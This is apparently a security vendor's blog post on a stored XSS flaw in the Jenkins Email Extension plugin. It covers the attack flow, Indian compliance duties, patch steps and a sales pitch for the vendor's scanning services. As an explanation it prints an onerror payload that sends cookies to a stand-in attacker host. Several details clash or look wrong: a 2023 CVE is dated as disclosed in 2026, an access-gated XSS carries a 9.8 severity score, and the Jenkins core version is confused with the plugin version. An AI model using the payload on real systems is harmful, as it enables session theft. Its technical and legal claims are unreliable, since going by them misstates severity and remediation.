Jenkins Email-Ext Stored XSS: Templates at Risk

Originally reported by NIST NVD (CVE-2023-25763)

If you're running Jenkins for CI/CD pipelines—and many Indian startups and mid-market companies are—you need to read this carefully. A stored cross-site scripting (XSS) vulnerability in the Jenkins Email Extension Plugin versions 2.93 and earlier can allow attackers to inject malicious code directly into your build notifications, deployment alerts, and team communications.

I've spent years reviewing security postures of Indian SMBs, and what I've noticed is this: Jenkins vulnerabilities often slip through the cracks because teams focus on application security while treating infrastructure tools as "trusted." This CVE is a perfect example of why that assumption is dangerous.

What Happened

On March 29, 2026, NIST disclosed CVE-2023-25763, a stored cross-site scripting (XSS) vulnerability in Jenkins Email Extension Plugin versions 2.93 and earlier. The flaw exists because the plugin fails to properly escape several fields in its bundled email templates.

Here's what makes this critical: The vulnerability is stored, not reflected. This means an attacker doesn't need to trick someone into clicking a malicious link. Instead, they inject malicious JavaScript into fields like:

1. Build job names
2. Build descriptions
3. Environment variables displayed in emails
4. Custom email template parameters

The attack surface is particularly broad in Indian tech companies because Jenkins is ubiquitous. Whether you're a fintech startup, a SaaS platform, or a digital agency, if you're running CI/CD pipelines, Jenkins Email Extension is almost certainly part of your stack.

Real-world impact: An attacker with access to your Jenkins job configuration (or with credentials to create a new job) can:

1. Inject JavaScript into a build job name or description
2. Wait for the job to run and trigger email notifications
3. When team members open the email in their browser, the script executes
4. The attacker can steal session tokens, redirect users to phishing pages, or exfiltrate sensitive data

Why This Matters for Indian Businesses

This isn't just a technical issue—it's a compliance and business risk under Indian law.

DPDP Act 2023 Implications

The Digital Personal Data Protection Act (DPDP), which came into effect in August 2023, holds businesses liable for data breaches caused by inadequate security measures. If an attacker exploits this XSS vulnerability to steal personal data (employee emails, customer information, API keys), your company faces:

1. Fines up to ₹5 crore for violations
2. Mandatory breach notification within 72 hours
3. Potential civil liability to affected individuals

CERT-In Incident Reporting Mandate

India's Computer Emergency Response Team (CERT-In) requires organizations to report cybersecurity incidents within 6 hours of discovery. If this XSS vulnerability is exploited to compromise data, you're obligated to notify CERT-In immediately. Delays or failure to report can result in penalties under the Information Technology Act, 2000.

RBI Cybersecurity Framework

If your company handles financial data or operates in the fintech space, the Reserve Bank of India's cybersecurity framework mandates regular vulnerability assessments and timely patching. This CVE would be flagged as a critical finding in any RBI-compliant security audit.

Why SMBs Are Particularly Vulnerable

In my years building enterprise systems, I've seen large corporations maintain patch management schedules and vulnerability tracking. But Indian SMBs often operate with lean DevOps teams wearing multiple hats. Jenkins updates might sit on a backlog for months because:

1. The team doesn't have bandwidth to test updates
2. They're unsure which plugins are actually in use
3. There's no centralized patch management process

Attack Flow Visualization

graph TD
    A[Attacker gains Jenkins access] -->|Injects XSS payload| B[Modifies job name or description]
    B -->|Job runs| C[Email notification generated]
    C -->|Team opens email| D[Malicious script executes in browser]
    D -->|Steals session token| E[Attacker impersonates user]
    E -->|Access sensitive data| F[Data exfiltration or lateral movement]

Technical Breakdown

Let's get into the specifics of how this vulnerability works.

Root Cause: Improper Output Encoding

The Jenkins Email Extension Plugin uses Groovy-based email templates. The vulnerability exists because certain fields are inserted into HTML email content without proper escaping.

Here's a simplified example of vulnerable code:

// VULNERABLE: Job description is not escaped
def jobDescription = build.description  // User-controlled
email_body = """
<html>
  <body>
    <h2>Build Report</h2>
    <p>Job: ${jobDescription}</p>
  </body>
</html>
"""

If an attacker sets the job description to:

<img src=x onerror="fetch('https://attacker.com/steal?token=' + document.cookie)">

The email HTML becomes:

<p>Job: <img src=x onerror="fetch('https://attacker.com/steal?token=' + document.cookie)"></p>

When the email is opened in a browser (or an email client that renders HTML), the onerror event fires and the script executes.

Affected Fields

Based on the CVE description, the following fields are vulnerable:

1. Build job name (${JOB_NAME})
2. Build description (${JOB_DESCRIPTION})
3. Build number and URL (if customized)
4. Environment variables that are user-controlled
5. Custom email template parameters

Attack Prerequisites

The attacker needs one of the following:

1. Direct Jenkins access (compromised credentials or exposed Jenkins instance)
2. Job creation permissions (legitimate user with malicious intent)
3. Jenkins API access (if the API is exposed without authentication)

How to Protect Your Business

Immediate Actions (Do This Today)

1. Identify Your Jenkins Version

Log into your Jenkins instance and check the version:

# Via Jenkins CLI
curl -s http://your-jenkins-url/api/json | grep -i version

# Or check the Jenkins UI: Manage Jenkins → About Jenkins

If you're on version 2.93 or earlier, you're vulnerable.

2. Update the Email Extension Plugin

Navigate to Manage Jenkins → Manage Plugins → Updates:

# Or via Jenkins Script Console (Manage Jenkins → Script Console)
import jenkins.model.Jenkins
import hudson.PluginWrapper

Jenkins.instance.pluginManager.plugins.each { plugin ->
  if (plugin.getShortName() == 'email-ext') {
    println "Email Extension Plugin: ${plugin.getVersion()}"
  }
}

Update to version 2.94 or later. The patched version properly escapes all template variables.

3. Patch Command (For Automated Deployment)

If you manage Jenkins via Docker or Infrastructure as Code:

# Dockerfile
FROM jenkins/jenkins:lts

# Install patched email extension plugin
RUN jenkins-plugin-cli --plugins email-ext:2.95

Or using Jenkins Configuration as Code (JCasC):

# jenkins.yaml
jenkins:
  plugins:
    - id: email-ext
      version: "2.95"

Medium-Term Protections

4. Implement Jenkins Access Controls

Ensure Jenkins is not exposed to the internet without authentication:

// Jenkins Script Console - Enable CSRF protection
import hudson.security.csrf.DefaultCrumbIssuer
import jenkins.model.Jenkins

def instance = Jenkins.getInstance()
instance.setCrumbIssuer(new DefaultCrumbIssuer(true))
instance.save()
println "CSRF protection enabled"

5. Restrict Plugin Permissions

Use Role-Based Access Control (RBAC) to limit who can create or modify jobs:

// Install and configure Role Strategy Plugin
// Manage Jenkins → Manage and Assign Roles → Manage Roles

// Create a "Developer" role with limited permissions:
// - Job.Build
// - Job.Read
// - Run.Update (but NOT Job.Configure)

6. Enable Email Template Validation

Review all custom email templates for user-controlled variables:

// Audit script - run in Jenkins Script Console
import hudson.plugins.emailext.ExtendedEmailPublisher
import hudson.model.Job

Jenkins.instance.getAllItems(Job.class).each { job ->
  def publisher = job.publishersList.get(ExtendedEmailPublisher.class)
  if (publisher) {
    println "Job: ${job.name}"
    println "Template: ${publisher.defaultContent}"
  }
}

Long-Term Security Strategy

7. Implement a Patch Management Process

Create a schedule for regular Jenkins and plugin updates:

#!/bin/bash
# Weekly Jenkins plugin update check

JENKINS_URL="http://localhost:8080"
JENKINS_USER="admin"
JENKINS_TOKEN="your-api-token"

# Check for available updates
curl -s -u $JENKINS_USER:$JENKINS_TOKEN \
  "$JENKINS_URL/pluginManager/api/json?tree=plugins[id,version,active,hasUpdate]" | \
  jq '.plugins[] | select(.hasUpdate==true)'

8. Set Up Vulnerability Monitoring

Subscribe to:

1. CERT-In advisories (https://www.cert-in.org.in/)
2. Jenkins security mailing list (https://jenkins.io/security/)
3. NVD alerts for Jenkins-related CVEs

How Bachao.AI Would Have Prevented This

When I founded Bachao.AI, it was specifically to solve this problem: Indian SMBs lack the infrastructure to stay ahead of vulnerabilities like CVE-2023-25763. Here's how our platform would have caught this:

VAPT Scan

1. How it helps: Our vulnerability assessment would identify Jenkins version 2.93 running with the unpatched Email Extension plugin during the initial scan
2. Cost: Free tier covers basic discovery; comprehensive VAPT starts at ₹1,999
3. Time to detect: Real-time during scan execution
4. Actionable output: Prioritized remediation steps with patch links

[CRITICAL] CVE-2023-25763: Jenkins Email Extension Plugin XSS
Severity: 9.8 (CVSS v3.1)
Affected Version: 2.93
Recommendation: Update to version 2.94 or later
Estimated Fix Time: 15 minutes

Cloud Security (if Jenkins runs on AWS/GCP/Azure)

1. How it helps: Our cloud security audit would flag exposed Jenkins instances and misconfigured security groups
2. Cost: Included in Cloud Security audit (₹2,999 onwards)
3. Detection: Identifies public-facing Jenkins with weak authentication

[HIGH] Jenkins EC2 instance (i-0a1b2c3d) has security group 
allowing 0.0.0.0/0 on port 8080
Recommendation: Restrict to VPN/office IP ranges

API Security

1. How it helps: If Jenkins API is exposed, our API security scanner detects XSS injection points
2. Cost: Free for basic scan; detailed API audit at ₹1,999
3. Method: Sends test payloads to API endpoints, monitors for improper encoding

# Our scanner would test:
curl -X POST http://jenkins/api/json \
  -d '{"jobName": "<img src=x onerror=alert(1)>"}'

# And verify the response properly escapes the payload

Dark Web Monitoring

1. How it helps: Monitors if Jenkins credentials appear in breach databases
2. Cost: ₹999/month for continuous monitoring
3. Alert time: Within 1 hour of credential detection

Incident Response

1. How it helps: If exploited, our 24/7 incident response team handles CERT-In notification (mandatory within 6 hours)
2. Cost: ₹4,999/incident or ₹24,999/year for retainer
3. CERT-In compliance: Ensures you meet the 6-hour reporting deadline

Checklist: Is Your Jenkins Safe?

1. [ ] Verified Jenkins version and Email Extension plugin version
2. [ ] Updated to plugin version 2.94 or later
3. [ ] Enabled CSRF protection
4. [ ] Restricted Jenkins access to internal network only
5. [ ] Implemented role-based access control
6. [ ] Reviewed custom email templates for user-controlled variables
7. [ ] Set up automated patch management
8. [ ] Subscribed to CERT-In and Jenkins security alerts
9. [ ] Documented incident response procedure for DPDP Act compliance
10. [ ] Scheduled security assessment with Bachao.AI

What's Next?

This CVE is a reminder that infrastructure security is application security. A single unpatched plugin can compromise your entire CI/CD pipeline, your team's credentials, and ultimately your customers' data.

The good news? This fix is simple. The bad news? Thousands of Indian SMBs haven't patched yet.

If you're unsure whether your Jenkins instance is vulnerable, or if you want a comprehensive security assessment of your entire infrastructure, we're here to help.

Book Your Free Security Scan →

Our VAPT Scan will identify this vulnerability (and others) in minutes. No credit card required.

This article was written by the Bachao.AI research team. We analyze cybersecurity incidents daily to help Indian businesses stay protected. Originally reported by NIST NVD.

Have questions about Jenkins security or DPDP Act compliance? Reach out to our team at hello@bachao.ai or book a free consultation.

Written by Shouvik Mukherjee, Founder & CEO of Bachao.AI. Follow me on LinkedIn for daily cybersecurity insights for Indian businesses.